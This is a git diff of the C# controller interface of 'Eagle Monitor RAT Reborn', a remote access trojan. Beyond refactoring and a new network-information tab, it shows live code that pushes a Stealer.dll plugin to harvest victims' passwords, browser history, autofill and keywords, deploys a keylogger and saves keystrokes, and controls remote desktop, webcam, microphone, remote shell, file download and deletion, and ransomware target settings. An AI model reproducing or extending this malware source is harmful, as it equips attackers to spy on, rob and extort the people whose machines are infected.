+ this.Column48.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
+ dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column48.DefaultCellStyle = dataGridViewCellStyle53;
+ this.Column48.FillWeight = 20F;
+ this.Column48.HeaderText = "PID";
+ this.Column48.Name = "Column48";
+ this.Column48.ReadOnly = true;
+ //
+ // Column49
+ //
+ this.Column49.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
+ this.Column49.FillWeight = 20F;
+ this.Column49.HeaderText = "Process Name";
+ this.Column49.Name = "Column49";
+ this.Column49.ReadOnly = true;
+ //
+ // Column50
+ //
+ this.Column50.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
+ this.Column50.FillWeight = 20F;
+ this.Column50.HeaderText = "Local EndPoint";
+ this.Column50.Name = "Column50";
+ this.Column50.ReadOnly = true;
+ //
+ // Column51
+ //
+ this.Column51.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
+ this.Column51.FillWeight = 20F;
+ this.Column51.HeaderText = "Remote EndPoint";
+ this.Column51.Name = "Column51";
+ this.Column51.ReadOnly = true;
+ //
+ // Column52
+ //
+ this.Column52.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
+ this.Column52.FillWeight = 20F;
+ this.Column52.HeaderText = "State";
+ this.Column52.Name = "Column52";
+ this.Column52.ReadOnly = true;
+ //
// ClientForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@@ -4805,6 +4998,8 @@ private void InitializeComponent()
this.importLibContextMenuStrip.ResumeLayout(false);
this.tabPage16.ResumeLayout(false);
this.tabPage17.ResumeLayout(false);
+ this.informationGuna2TabControl.ResumeLayout(false);
+ this.tabPage30.ResumeLayout(false);
this.guna2GroupBox2.ResumeLayout(false);
this.panel16.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).EndInit();
@@ -4813,6 +5008,8 @@ private void InitializeComponent()
((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).EndInit();
this.panel13.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).EndInit();
+ this.tabPage31.ResumeLayout(false);
+ ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).EndInit();
this.tabPage18.ResumeLayout(false);
this.panel18.ResumeLayout(false);
this.panel19.ResumeLayout(false);
@@ -5051,7 +5248,6 @@ private void InitializeComponent()
private System.Windows.Forms.DataGridViewTextBoxColumn Column37;
private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar9;
private System.Windows.Forms.Panel panel14;
- private System.Windows.Forms.Panel panel11;
private System.Windows.Forms.TabPage tabPage23;
private Guna.UI2.WinForms.Guna2Button keyloggerGuna2Button;
private System.Windows.Forms.Panel panel12;
@@ -5138,6 +5334,18 @@ private void InitializeComponent()
internal Guna.UI2.WinForms.Guna2ToggleSwitch remoteShellGuna2ToggleSwitch;
private System.Windows.Forms.Panel panel21;
private System.Windows.Forms.ToolTip toolTip1;
+ private Guna.UI2.WinForms.Guna2TabControl informationGuna2TabControl;
+ private System.Windows.Forms.TabPage tabPage30;
+ private System.Windows.Forms.Panel panel22;
+ private System.Windows.Forms.TabPage tabPage31;
+ private Guna.UI2.WinForms.Guna2Button retrieveNetworkGuna2Button;
+ private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar15;
+ public System.Windows.Forms.DataGridView networkInformationDataGridView;
+ private System.Windows.Forms.DataGridViewTextBoxColumn Column48;
+ private System.Windows.Forms.DataGridViewTextBoxColumn Column49;
+ private System.Windows.Forms.DataGridViewTextBoxColumn Column50;
+ private System.Windows.Forms.DataGridViewTextBoxColumn Column51;
+ private System.Windows.Forms.DataGridViewTextBoxColumn Column52;
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs
index f0972ec0..6ce1cb14 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs
@@ -12,7 +12,6 @@
using System.Drawing;
using System.IO;
using System.Text;
-using System.Threading;
using System.Windows.Forms;
/*
@@ -22,33 +21,33 @@
namespace Eagle_Monitor_RAT_Reborn
{
- public partial class ClientForm : FormPattern
+ internal partial class ClientForm : FormPattern
{
- internal ClientHandler clientHandler { get; set; }
- internal RemoteDesktopHandler remoteDesktopHandler { get; set; }
- internal RemoteWebCamHandler remoteWebCamHandler { get; set; }
- internal RemoteMicrophoneHandler remoteMicrophoneHandler { get; set; }
- internal KeyloggerHandler keyloggerHandler { get; set; }
- internal ChatHandler chatHandler { get; set; }
- internal RemoteShellHandler remoteShellHandler { get; set; }
+ internal ClientHandler ClientHandler { get; set; }
+ internal RemoteDesktopHandler RemoteDesktopHandler { get; set; }
+ internal RemoteWebCamHandler RemoteWebCamHandler { get; set; }
+ internal RemoteMicrophoneHandler RemoteMicrophoneHandler { get; set; }
+ internal KeyloggerHandler KeyloggerHandler { get; set; }
+ internal ChatHandler ChatHandler { get; set; }
+ internal RemoteShellHandler RemoteShellHandler { get; set; }
- internal long downloadFileTicket { get; set; }
- internal Dictionary downloadList { get; set; }
+ internal long DownloadFileTicket { get; set; }
+ internal Dictionary DownloadList { get; set; }
- internal long deleteFileTicket { get; set; }
- internal Dictionary deleteList { get; set; }
+ internal long DeleteFileTicket { get; set; }
+ internal Dictionary DeleteList { get; set; }
internal ClientForm(ClientHandler clientHandler)
{
InitializeComponent();
- this.clientHandler = clientHandler;
- this.downloadFileTicket = 0;
- this.downloadList = new Dictionary();
+ this.ClientHandler = clientHandler;
+ this.DownloadFileTicket = 0;
+ this.DownloadList = new Dictionary();
- this.deleteFileTicket = 0;
- this.deleteList = new Dictionary();
+ this.DeleteFileTicket = 0;
+ this.DeleteList = new Dictionary();
- if (this.clientHandler.isAdmin)
+ if (this.ClientHandler.IsAdmin)
this.askUACGuna2Button.Enabled = false;
}
@@ -62,6 +61,7 @@ private void ClientForm_Load(object sender, EventArgs e)
private void SetUI()
{
this.SuspendLayout();
+ #region "Double buffer"
Utils.Enable(this.passwordsDataGridView);
Utils.Enable(this.historyDataGridView);
@@ -74,7 +74,17 @@ private void SetUI()
Utils.Enable(this.importLibDataGridView);
Utils.Enable(this.shellcodeDataGridView);
+ Utils.Enable(this.managedPEDataGridView);
+ Utils.Enable(this.nativePEDataGridView);
+ Utils.Enable(this.systemInformationDataGridView);
+ Utils.Enable(this.componentsDataGridView);
+ Utils.Enable(this.cpuDataGridView);
+ Utils.Enable(this.networkInformationDataGridView);
+
+ Utils.Enable(this.pathRansomwareDataGridView);
+ #endregion
+ #region "Vertical Scrollbar"
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.passwordsDataGridView, this.guna2VScrollBar1, true);
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.historyDataGridView, this.guna2VScrollBar2, true);
@@ -96,131 +106,72 @@ private void SetUI()
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.pathRansomwareDataGridView, this.guna2VScrollBar13, true);
new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.extensionRansomwareDataGridView, this.guna2VScrollBar14, true);
- ImageList tabImageList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- tabImageList.Images.Add(Properties.Resources.icons8_database_backup);
- tabImageList.Images.Add(Properties.Resources.icons8_file_explorer);
- tabImageList.Images.Add(Properties.Resources.icons8_system_task);
- tabImageList.Images.Add(Properties.Resources.icons8_remote_desktop);
- tabImageList.Images.Add(Properties.Resources.icons8_control_panel);
- tabImageList.Images.Add(Properties.Resources.icons8_microsoft_admin);
- tabImageList.Images.Add(Properties.Resources.icons8_security_document);
- tabImageList.Images.Add(Properties.Resources.icons8_command_line);
-
- this.mainGuna2TabControl.ImageList = tabImageList;
- this.tabPage1.ImageIndex = 0;
- this.tabPage2.ImageIndex = 1;
- this.tabPage5.ImageIndex = 2;
- this.tabPage8.ImageIndex = 3;
- this.tabPage14.ImageIndex = 4;
- this.tabPage24.ImageIndex = 5;
- this.tabPage25.ImageIndex = 6;
- this.tabPage29.ImageIndex = 7;
-
- ImageList recoveryTabList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- recoveryTabList.Images.Add(Properties.Resources.icons8_key);
- recoveryTabList.Images.Add(Properties.Resources.icons8_time_machine);
-
- recoveryTabList.Images.Add(Properties.Resources.icons8_text_input_form);
- recoveryTabList.Images.Add(Properties.Resources.icons8_single_line_text_input);
-
- this.recoveryGuna2TabControl.ImageList = recoveryTabList;
- this.tabPage3.ImageIndex = 0;
- this.tabPage4.ImageIndex = 1;
- this.tabPage7.ImageIndex = 2;
- this.tabPage6.ImageIndex = 3;
-
- ImageList remoteTabList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- remoteTabList.Images.Add(Properties.Resources.icons8_imac);
- remoteTabList.Images.Add(Properties.Resources.icons8_video_call);
- remoteTabList.Images.Add(Properties.Resources.icons8_microphone);
-
- this.remoteGuna2TabControl.ImageList = remoteTabList;
- this.tabPage10.ImageIndex = 0;
- this.tabPage11.ImageIndex = 1;
- this.tabPage12.ImageIndex = 2;
-
- ImageList fileManager = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- fileManager.Images.Add(Properties.Resources.icons8_file_explorer);
- fileManager.Images.Add(Properties.Resources.icons8_download);
-
- this.fileManagerGuna2TabControl.ImageList = fileManager;
- this.tabPage9.ImageIndex = 0;
- this.tabPage13.ImageIndex = 1;
-
- ImageList miscellaneousTabList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- miscellaneousTabList.Images.Add(Properties.Resources.icons8_computer_virus);
- miscellaneousTabList.Images.Add(Properties.Resources.icons8_keyboard);
- miscellaneousTabList.Images.Add(Properties.Resources.icons8_information);
- miscellaneousTabList.Images.Add(Properties.Resources.icons8_question_mark);
- miscellaneousTabList.Images.Add(Properties.Resources.icons8_chat);
-
- this.miscellaneousGuna2TabControl.ImageList = miscellaneousTabList;
-
- this.tabPage15.ImageIndex = 0;
- this.tabPage16.ImageIndex = 1;
- this.tabPage17.ImageIndex = 2;
- this.tabPage18.ImageIndex = 3;
- this.tabPage23.ImageIndex = 4;
-
- ImageList memoryExecutionTabList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- memoryExecutionTabList.Images.Add(Properties.Resources.icons8_c_plus_plus);
- memoryExecutionTabList.Images.Add(Properties.Resources.Binary_Code_32px);
- memoryExecutionTabList.Images.Add(Properties.Resources.icons8_source_code);
- memoryExecutionTabList.Images.Add(Properties.Resources.icons8_visual_basic);
-
- this.memoryExecutionGuna2TabControl.ImageList = memoryExecutionTabList;
-
- this.tabPage19.ImageIndex = 0;
- this.tabPage20.ImageIndex = 1;
- this.tabPage21.ImageIndex = 2;
- this.tabPage22.ImageIndex = 3;
-
- ImageList ransomwareTabList = new ImageList
- {
- ColorDepth = ColorDepth.Depth32Bit,
- ImageSize = new Size(28, 28)
- };
-
- ransomwareTabList.Images.Add(Properties.Resources.icons8_private_folder);
- ransomwareTabList.Images.Add(Properties.Resources.icons8_settings);
- ransomwareTabList.Images.Add(Properties.Resources.icons8_lock_file);
-
- this.ransomwareGuna2TabControl.ImageList = ransomwareTabList;
-
- this.tabPage26.ImageIndex = 0;
- this.tabPage27.ImageIndex = 1;
- this.tabPage28.ImageIndex = 2;
-
+ new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.networkInformationDataGridView, this.guna2VScrollBar15, true);
+ #endregion
+ #region "TabImage"
+ Utils.SetTabImage(this.mainGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_database_backup,
+ Properties.Resources.icons8_file_explorer,
+ Properties.Resources.icons8_system_task,
+ Properties.Resources.icons8_remote_desktop,
+ Properties.Resources.icons8_control_panel,
+ Properties.Resources.icons8_microsoft_admin,
+ Properties.Resources.icons8_security_document,
+ Properties.Resources.icons8_computer_virus
+ });
+
+ Utils.SetTabImage(this.recoveryGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_key,
+ Properties.Resources.icons8_time_machine,
+ Properties.Resources.icons8_text_input_form,
+ Properties.Resources.icons8_single_line_text_input
+ });
+
+ Utils.SetTabImage(this.remoteGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_imac,
+ Properties.Resources.icons8_video_call,
+ Properties.Resources.icons8_microphone
+ });
+
+ Utils.SetTabImage(this.fileManagerGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_file_explorer,
+ Properties.Resources.icons8_download
+ });
+
+ Utils.SetTabImage(this.miscellaneousGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_computer_virus,
+ Properties.Resources.icons8_keyboard,
+ Properties.Resources.icons8_information,
+ Properties.Resources.icons8_question_mark,
+ Properties.Resources.icons8_chat
+ });
+
+ Utils.SetTabImage(this.memoryExecutionGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_c_plus_plus,
+ Properties.Resources.icons8_Binary_Code,
+ Properties.Resources.icons8_source_code,
+ Properties.Resources.icons8_visual_basic
+ });
+
+ Utils.SetTabImage(this.ransomwareGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_private_folder,
+ Properties.Resources.icons8_settings,
+ Properties.Resources.icons8_lock_file
+ });
+
+ Utils.SetTabImage(this.informationGuna2TabControl, new Icon[]
+ {
+ Properties.Resources.icons8_electronics,
+ Properties.Resources.icons8_ethernet_on
+ });
+ #endregion
Misc.DotNetCodeExecution.RowAdder("System.dll", this.importLibDataGridView);
Misc.DotNetCodeExecution.RowAdder("Microsoft.VisualBasic.dll", this.importLibDataGridView);
@@ -228,7 +179,7 @@ private void SetUI()
Misc.DotNetCodeExecution.RowAdder("System.Management.dll", this.importLibDataGridView);
Misc.DotNetCodeExecution.RowAdder("System.Drawing.dll", this.importLibDataGridView);
- string extensionsPath = this.clientHandler.clientPath + "\\Ransomware\\extensions.txt";
+ string extensionsPath = this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt";
if (!File.Exists(extensionsPath))
{
@@ -245,7 +196,7 @@ private void SetUI()
row.Cells["Column47"].Value = extension;
}
- string pathAffectecd = this.clientHandler.clientPath + "\\Ransomware\\paths.txt";
+ string pathAffectecd = this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt";
if (File.Exists(pathAffectecd))
{
@@ -271,7 +222,7 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e)
{
pathAffected.AppendLine(row.Cells[0].Value.ToString());
}
- File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\paths.txt", pathAffected.ToString());
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\paths.txt", pathAffected.ToString());
StringBuilder extensions = new StringBuilder();
@@ -279,18 +230,18 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e)
{
extensions.AppendLine(row.Cells[0].Value.ToString());
}
- File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\extensions.txt", extensions.ToString());
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\extensions.txt", extensions.ToString());
if ((passwordsDataGridView.Rows.Count > 0 || historyDataGridView.Rows.Count > 0 || keywordsDataGridView.Rows.Count > 0 || autofillDataGridView.Rows.Count > 0) && !Program.settings.autoSaveRecovery)
{
DialogResult r = MessageBox.Show("It seems that some data have not been saved. Do you want to save them before closing ?", "Data not saved", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Information);
if (r == DialogResult.Yes)
{
- Misc.Utils.ToCSV(this.passwordsDataGridView, this.clientHandler.clientPath + "\\Passwords\\" + Misc.Utils.DateFormater() + ".csv");
- Misc.Utils.ToCSV(this.historyDataGridView, this.clientHandler.clientPath + "\\History\\" + Misc.Utils.DateFormater() + ".csv");
+ Misc.Utils.ToCSV(this.passwordsDataGridView, this.ClientHandler.ClientPath + "\\Passwords\\" + Misc.Utils.DateFormater() + ".csv");
+ Misc.Utils.ToCSV(this.historyDataGridView, this.ClientHandler.ClientPath + "\\History\\" + Misc.Utils.DateFormater() + ".csv");
- Misc.Utils.ToCSV(this.clientHandler.clientForm.keywordsDataGridView, this.clientHandler.clientPath + "\\Keywords\\" + Misc.Utils.DateFormater() + ".csv");
- Misc.Utils.ToCSV(this.clientHandler.clientForm.autofillDataGridView, this.clientHandler.clientPath + "\\Autofill\\" + Misc.Utils.DateFormater() + ".csv");
+ Misc.Utils.ToCSV(this.ClientHandler.ClientForm.keywordsDataGridView, this.ClientHandler.ClientPath + "\\Keywords\\" + Misc.Utils.DateFormater() + ".csv");
+ Misc.Utils.ToCSV(this.ClientHandler.ClientForm.autofillDataGridView, this.ClientHandler.ClientPath + "\\Autofill\\" + Misc.Utils.DateFormater() + ".csv");
this.Close();
}
@@ -308,67 +259,71 @@ private void closeGuna2ControlBox_Click(object sender, EventArgs e)
private void FixClientHandlersBeforeLeaving()
{
- if (this.remoteDesktopHandler != null)
+ if (this.RemoteDesktopHandler != null)
{
mouseGuna2ToggleSwitch.Checked = false;
keyboardGuna2ToggleSwitch.Checked = false;
RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_OFF)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteDesktopHandler.clientHandler.SendPacket(remoteViewerPacket);
+ ClientHandler.StartSendData(this.RemoteDesktopHandler.ClientHandler, remoteViewerPacket);
+ // this.remoteDesktopHandler.clientHandler.StartSendData(remoteViewerPacket);
}
- if (this.remoteWebCamHandler != null)
+ if (this.RemoteWebCamHandler != null)
{
RemoteCameraCapturePacket remoteCameraCapturePacket = new RemoteCameraCapturePacket(PacketType.RC_CAPTURE_OFF)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteWebCamHandler.clientHandler.SendPacket(remoteCameraCapturePacket);
+ ClientHandler.StartSendData(this.RemoteWebCamHandler.ClientHandler, remoteCameraCapturePacket);
+ //this.remoteWebCamHandler.clientHandler.StartSendData(remoteCameraCapturePacket);
}
- if (this.remoteMicrophoneHandler != null)
+ if (this.RemoteMicrophoneHandler != null)
{
RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(PacketType.AUDIO_RECORD_OFF)
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteMicrophoneHandler.clientHandler.SendPacket(remoteAudioCapturePacket);
+ ClientHandler.StartSendData(this.RemoteMicrophoneHandler.ClientHandler, remoteAudioCapturePacket);
}
- if (this.keyloggerHandler != null)
+ if (this.KeyloggerHandler != null)
{
- KeylogPacket keylogPacket = new KeylogPacket(this.clientHandler.IP, this.clientHandler.HWID)
+ KeylogPacket keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1)
};
- this.keyloggerHandler.clientHandler.SendPacket(keylogPacket);
+ ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket);
this.keyloggerGuna2Button.Text = "Start";
- File.WriteAllText(this.clientHandler.clientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", this.keystrokeRichTextBox.Text);
+ File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", this.keystrokeRichTextBox.Text);
}
- if (this.chatHandler != null)
+ if (this.ChatHandler != null)
{
- RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF);
- chatPacket.baseIp = this.clientHandler.IP;
- this.chatHandler.clientHandler.SendPacket(chatPacket);
+ RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF)
+ {
+ BaseIp = this.ClientHandler.IP
+ };
+ ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket);
this.chatGuna2Button.Text = "Start";
}
- if (this.remoteShellHandler != null)
+ if (this.RemoteShellHandler != null)
{
StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket()
{
- baseIp = this.clientHandler.IP,
- HWID = this.clientHandler.HWID
+ BaseIp = this.ClientHandler.IP,
+ HWID = this.ClientHandler.HWID
};
- this.remoteShellHandler.clientHandler.SendPacket(stopShellSessionPacket);
+ ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket);
this.remoteShellGuna2Button.Text = "Start Session";
}
}
@@ -416,16 +371,15 @@ private void ClientForm_MouseLeave(object sender, EventArgs e)
this.processDataGridView.CurrentCell = null;
}
#endregion
- #region "Recovery"
- #region "Password"
+ #region "Recovery"
private void getPasswordToolStripMenuItem_Click(object sender, EventArgs e)
{
PasswordsPacket passwordsPacket = new PasswordsPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
};
- this.clientHandler.SendPacket(passwordsPacket);
+ ClientHandler.StartSendData(this.ClientHandler, passwordsPacket);
}
private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e)
@@ -440,16 +394,15 @@ private void passwordsDataGridView_MouseUp(object sender, System.Windows.Forms.M
}
}
}
- #endregion
- #region "History"
+
private void historyToolStripMenuItem_Click(object sender, EventArgs e)
{
HistoryPacket historyPacket = new HistoryPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
};
- this.clientHandler.SendPacket(historyPacket);
+ ClientHandler.StartSendData(this.ClientHandler, historyPacket);
}
private void historyDataGridView_MouseUp(object sender, MouseEventArgs e)
@@ -464,16 +417,16 @@ private void historyDataGridView_MouseUp(object sender, MouseEventArgs e)
}
}
}
- #endregion
+
private void autofillToolStripMenuItem_Click(object sender, EventArgs e)
{
AutofillPacket autofillPacket = new AutofillPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
};
- this.clientHandler.SendPacket(autofillPacket);
+ ClientHandler.StartSendData(this.ClientHandler, autofillPacket);
}
private void keywordsToolStripMenuItem_Click(object sender, EventArgs e)
@@ -481,10 +434,10 @@ private void keywordsToolStripMenuItem_Click(object sender, EventArgs e)
KeywordsPacket keywordsPacket = new KeywordsPacket
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1)
};
- this.clientHandler.SendPacket(keywordsPacket);
+ ClientHandler.StartSendData(this.ClientHandler, keywordsPacket);
}
private void keywordsDataGridView_MouseUp(object sender, MouseEventArgs e)
@@ -517,9 +470,11 @@ private void autofillDataGridView_MouseUp(object sender, MouseEventArgs e)
#region "File Manager"
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
{
- DiskPacket diskPacket = new DiskPacket();
- diskPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1);
- this.clientHandler.SendPacket(diskPacket);
+ DiskPacket diskPacket = new DiskPacket
+ {
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ };
+ ClientHandler.StartSendData(this.ClientHandler, diskPacket);
}
private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e)
@@ -527,9 +482,9 @@ private void disksGuna2ComboBox_SelectedIndexChanged(object sender, EventArgs e)
this.labelPath.Text = disksGuna2ComboBox.Text;
FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(fileManagerPacket);
+ ClientHandler.StartSendData(ClientHandler, fileManagerPacket);
}
private void goToolStripMenuItem_Click(object sender, EventArgs e)
@@ -542,9 +497,9 @@ private void goToolStripMenuItem_Click(object sender, EventArgs e)
this.labelPath.Text = newPath;
FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(fileManagerPacket);
+ ClientHandler.StartSendData(ClientHandler, fileManagerPacket);
}
}
}
@@ -562,9 +517,9 @@ private void backToolStripMenuItem_Click(object sender, EventArgs e)
this.labelPath.Text = NewPath;
FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(fileManagerPacket);
+ ClientHandler.StartSendData(ClientHandler, fileManagerPacket);
}
}
@@ -578,9 +533,9 @@ private void fileManagerDataGridView_MouseDoubleClick(object sender, MouseEventA
this.labelPath.Text = newPath;
FileManagerPacket fileManagerPacket = new FileManagerPacket(labelPath.Text)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- clientHandler.SendPacket(fileManagerPacket);
+ ClientHandler.StartSendData(ClientHandler, fileManagerPacket);
}
}
}
@@ -612,15 +567,15 @@ private void startDownloadFileToolStripMenuItem_Click(object sender, EventArgs e
{
foreach (DataGridViewRow file in dowloadFileDataGridView.SelectedRows)
{
- DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), downloadFileTicket)
+ DownloadFilePacket dowloadFilePacket = new DownloadFilePacket(file.Cells[3].Value.ToString(), DownloadFileTicket)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1),
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1),
bufferSize = Program.settings.bufferSize
};
- downloadList.Add(downloadFileTicket, file);
- this.clientHandler.SendPacket(dowloadFilePacket);
- downloadFileTicket += 1;
+ DownloadList.Add(DownloadFileTicket, file);
+ ClientHandler.StartSendData(this.ClientHandler, dowloadFilePacket);
+ DownloadFileTicket += 1;
}
}
private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e)
@@ -632,14 +587,14 @@ private void deleteFileToolStripMenuItem_Click(object sender, EventArgs e)
else
{
string fullPath = labelPath.Text + file.Cells[1].Value.ToString();
- DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), deleteFileTicket)
+ DeleteFilePacket deleteFilePacket = new DeleteFilePacket(fullPath, Misc.Utils.SplitPath(fullPath), DeleteFileTicket)
{
- plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
+ Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\FileManager.dll"), 1)
};
- deleteList.Add(deleteFileTicket, file);
- this.clientHandler.SendPacket(deleteFilePacket);
- deleteFileTicket += 1;
+ DeleteList.Add(DeleteFileTicket, file);
+ ClientHandler.StartSendData(this.ClientHandler, deleteFilePacket);
+ DeleteFileTicket += 1;
}
}
}
@@ -648,36 +603,36 @@ private void downloadSToolStripMenuItem_Click(object sender, EventArgs e)
{
ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(ShortCutFileManagersPacket.ShortCuts.DOWNLOADS)
{
